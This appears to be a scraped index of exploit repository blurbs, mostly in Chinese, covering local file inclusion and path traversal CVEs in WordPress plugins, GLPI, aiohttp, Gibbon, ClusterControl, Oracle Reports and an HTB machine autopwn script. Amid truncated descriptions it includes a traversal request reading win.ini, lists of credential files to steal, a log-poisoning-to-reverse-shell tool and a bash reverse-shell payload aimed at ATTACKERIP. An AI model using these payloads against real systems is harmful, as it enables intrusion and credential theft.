AutoPwn-Titanic.htb

Titanic AutoPWN - HTB 机器 这是一个针对 Hack The Box 机器 Titanic 的自动化利用脚本。 针对 Hack The Box 上的 Titanic HTB Linux 机器的完整自动化利用脚本。完整文章 - WriteUp.md 📋 描述 它执行以下操作： 阶段 1： 通过 LFI 获取并解析 gitea.db 文件，以提取用户哈希 辅助使用 hashcat 格式破解开发者的密码（PBKDF2-HMAC-SHA256） 阶段 2： 使用破解的凭据通过 SSH 连接，并利用 CVE-2024-41817（ImageMagick）通过恶意共享库获得 ro...

CVE-2018-7422

CVE-2018-12613 由于未对用户输入进行清理导致的本地文件包含漏洞。 受影响的软件 1. WordPress 插件：Site-Editor v.1.1.1； 使用方法 此 PowerShell 脚本需要两个参数来构造一个利用 HTTP 请求： 1. WordPress URL 端点 2. 要获取的远程服务器上的完整文件路径 示例 准备好所有参数以便使用该脚本： 然后文件就会被获取。 代码作者：@zc00l...

rwsploit

Oracle Reports rwservlet 扫描器 ⚠️ 仅限授权使用。只能在您拥有或获得明确书面许可的系统上运行此工具。未经授权使用是违法的。 针对 Oracle Reports Server（rwservlet）的定向利用扫描器，专门针对 CVE-2012-3152 和 CVE-2012-3153 ——影响低于 11g 的版本。自动完成检测、LFI 文件读取、SSRF 测试以及 JSP Shell 上传，支持单个 IP、CIDR 范围或目标列表。智能 TCP/HTTP 预过滤可即时跳过无响应主机，不浪费任何时间。 安装 git clone...

CVE-2023-31059-Repetier-Server-1.4.10-Unauthenticated-Path-Traversal

Repetier-Server |HTTP request with ..%5c traversal| BRepetier Server B -- Cbase/connectionLost.php C --|Unsanitized file parameter| DWindows Filesystem D -- ESensitive File E -- B B --|File contents in HTTP response| A 利用示例 GET /base/connectionLost.php?file=..%5c..%5cWindows%5cwin.ini HTTP/1.1...

Exploit-CVE-2025-24801

CVE-2025-24801 此漏洞利用程序使用CVE-2025-24801通过本地文件包含（LFI）在GLPI 10.0.17上实现远程代码执行（RCE）。该CVE的概念验证（PoC）提供了对此GLPI漏洞的解释。 观察 某些应用暴露了/glpi/端点（例如，http://172.16.11.130:8080/glpi/front/computer.form.php）。如果目标应用包含此端点，则需要将其添加到--url参数中（例如，--url http://172.16.11.130:8080/glpi）。 用法 使用示例。 python3 cve-2025-24801.py --ur...

CVE-2024-23334-PoC

CVE-2024-23334-PoC 此仓库是 CVE-2024-23334 的概念验证（POC），演示了尝试复现 aiohttp 中导致本地文件包含（LFI）的漏洞。 !CAUTION 免责声明：此 POC 仅用于教育目的。请勿在真实场景中使用。 安装 1. 克隆仓库并设置环境。 git clone https://github.com/Betan423/CVE-2024-23334-PoC cd CVE-2024-23334-PoC run in virtual environment python3 -m venv .env chmod +x ./.env/bin/activate...

CVE-2018-7422

CVE-2018-7422 Exploit para CVE-2018-7422: Inclusión de archivos locales en el plugin Site Editor 1.1.1 de WordPress T1574.008 Sintaxis ruby Entorno de Laboratorio OffSec Proving Grounds - Readys Uso...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - 未认证的本地文件包含 描述 WP Umbrella: Update Backup Restore & Monitoring WordPress 插件在 2.17.0 及之前的所有版本中，通过 'umbrella-restore' 操作的 'filename' 参数存在本地文件包含漏洞。这使得未认证攻击者能够在服务器上包含并执行任意文件，从而执行这些文件中的任何 PHP...

CVE-2025-1661

CVE-2025-1661 - Inclusión de Archivos Locales LFI no autenticada en HUSKY – Products Filter Professional para WooCommerce Descripción El plugin HUSKY – Products Filter Professional para WooCommerce para WordPress es vulnerable a Inclusión de Archivos Locales LFI en todas las versiones hasta la...

CVE-2023-34598

CVE-2023-34598 Gibbon本地文件包含漏洞（CVE-2023-34598）...

CVE-2024-34102

CVE-2024-34102 用法 python3 CVE-2024-34102.py -h optional arguments: -h, --help show this help message and exit -u URL, --url URL Target URL -ip IP, --ip IP Your IP address -p PORT, --port PORT Port for HTTP server -f FILE, --file FILE Path to the file to be included in the POC...

CVE-2021-41773

Escáner CVE-2021-41773 Este script prueba la vulnerabilidad de path traversal y local file inclusion en Apache versión 2.4.29; este script no devuelve archivos locales, simplemente escanea el servidor web y te indica si es vulnerable o no. Uso: python3 cve-2021-41773-scanner.py IPv4 address...

CVE-2024-41628

CVE-2024-41628 由 Redshift Cyber Security 开发的简单漏洞利用脚本，用于利用 CVE-2024-41628 ClusterControl 本地文件包含（LFI）漏洞。 该漏洞影响 CMON API，特别是默认分别位于端口 9500 和 9501 的 RPC 和 RPC-TLS 用户接口。 由于 ClusterControl 通常以 root 身份运行，因此可以检索任何系统文件。 可检索的文件示例： /etc/shadow /etc/passwd /root/.ssh/idrsa /etc/cmon.cnf - （包含 ClusterControl R...

cve-2022-44268

CVE-2022-44268 ImageMagick 是一个免费开源的跨平台软件套件，用于显示、转换和编辑光栅图像和矢量图像文件。它可以读写超过200种图像文件格式。ImageMagick 遵循 Apache License 2.0 许可证。它以命令行工具、C API 和一组 C++ 类的形式提供。维基百科 ImageMagick 7.1.0-40 及更低版本存在一个本地文件包含漏洞。该漏洞是由于对用户提供的输入验证不当造成的。攻击者可以通过向目标发送特制的 PNG 文件来利用此漏洞。成功利用此漏洞可能允许攻击者读取目标系统上的任意文件。 致谢发现此漏洞的研究人员： Bryan...

CVE-2023-34598

CVE-2023-34598 - Gibbon v25.0.0 LFI 漏洞利用工具 该仓库包含一个 Python 脚本，用于识别并利用 Gibbon v25.0.0 中的本地文件包含（LFI）漏洞（CVE-2023-34598）。该脚本可以扫描目标网站是否存在潜在漏洞，如果成功，则下载 SQL 导出文件以供进一步分析。它还提供了一个内置的 FOFA 查询，帮助定位潜在的可利用目标。 概述 名称： CVE-2023-34598.py 目的： 识别并利用 Gibbon v25.0.0 中的本地文件包含（LFI）漏洞。 主要功能： 扫描单个目标 是否存在漏洞。 提取部分数据库导出...

LFI-Destruction

🔥 LFI-Destruction – 授权渗透测试框架 LFI-Destroyer 是一个全面的、模块化的本地文件包含（LFI）利用框架，专为授权的安全专业人员设计。它将多种攻击技术整合到一个易于使用的工具中： SSH 与浏览器制品模糊测试 – 在 Linux 和 Windows 上搜索 SSH 密钥、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge 和 Brave 凭据。 日志投毒 → 反弹 Shell – 通过可写日志文件自动实现 RCE，支持自定义 payload。 phpinfo 条件竞争 RCE – 当 fileuploads=On...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...

CVE-2007-3831

CVE-2007-3831 PHP远程文件包含漏洞，位于ISS Proventia Network IPS GX5108 1.3和GX5008 1.5的main.php中 Exploit-db 发布地址：https://www.exploit-db.com/exploits/30290/ Exploit-db 论文地址：https://www.exploit-db.com/docs/english/13081-having-fun-with-proventia-gx5108-&-gx5008-insecurities.pdf Git...

Joomla! ChronoForums 2.0.11 - Local File Inclusion

Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials. id: CVE-2021-28377 info: name: Joomla!...

WordPress True Ranker <2.2.4 - Local File Inclusion

WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the /admin/vendor/datatables/examples/resources/examples.php file via local file inclusion. id: CVE-2021-39312 info: name: WordPress True Ranker 2.2...